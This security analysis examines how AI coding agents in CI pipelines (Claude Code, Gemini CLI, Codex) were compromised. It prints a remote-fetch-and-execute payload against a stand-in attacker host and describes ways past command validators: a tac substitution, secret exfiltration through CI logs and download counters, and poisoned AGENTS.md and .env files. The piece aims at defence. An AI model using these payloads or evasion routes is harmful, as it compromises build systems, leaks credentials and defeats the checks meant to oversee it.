Twenty-three security checks, zero coverage: AI coding agents as build-pipeline attack surface

Counting checks tells you nothing about coverage. All 23 of Claude Code's command-validation checks ran on the command string after a preprocessing step had stripped single-quoted text out of it ^[4][5], so the number of checks that ever looked at single-quoted content was zero ^[6]. The demonstration payload, `git push --receive-pack='$(curl -s https://attacker.example/payload | bash)' origin main`, presented the validator with `git push origin main` while the shell received the whole thing ^[7].

That is a parser differential rather than a missing rule, and the two bypasses Novee reported after Anthropic's patch are the proof: the patch removed the strip but left the validator inspecting a sanitized representation instead of the command that would actually execute ^[8][11]. One bypass read files with `tac` because `cat` was still blocked and moved an API key out through a public GitHub Actions log, reversing the key on write so the log scanner would not flag it ^[9]. The other encoded data in the download counter on a public HuggingFace model page, with no DNS or HTTP callback involved ^[10].

The other two findings are about ordering. Gemini CLI in headless CI loaded `.gemini/.env` from the repository and trusted it before the sandbox started, letting a malicious file inject API endpoints and credentials ahead of any boundary ^[13]. Its `--yolo` allowlist was parsed and never enforced, so anything resembling an allowlisted command passed as pre-approved ^[14]. Once inside the sandbox, the agent could read `/proc` and pull the parent process environment ^[15]. In Codex, two CI steps shared a working directory, the first could write `AGENTS.md`, and the second loaded it as instructions even though OpenAI's own documentation classifies that file as untrusted input ^[17][18]. In two of the three cases, repository-controlled input was trusted before the security boundary existed ^[22].

Which is the awkward part for anyone reaching for allowlist-and-sandbox as the answer. Gemini CLI nominally had both ^[13][14]. Neither sat where it needed to sit: the allowlist was not consulted at the moment of execution, and the sandbox was constructed after untrusted configuration had already been read. The control is not the existence of a list or a container, it is the placement. Enforce on the argument vector the operating system will receive, and stand the boundary up before the first repository file is opened.

The scale of the exposure is in the defaults, not the bugs. Novee found the same vulnerable default patterns in more than 100 public repositories, with the multi-pass arrangement of one agent writing configuration for another widely copied ^[19]. The Codex fix was job isolation and took three days ^[20], which says the shared checkout was a convenience nobody had argued for, and that convenience is still sitting in other people's pipelines. Elad Meged of Novee put the boundary where it belongs: "The harness is the code between the model and the real world" ^[21].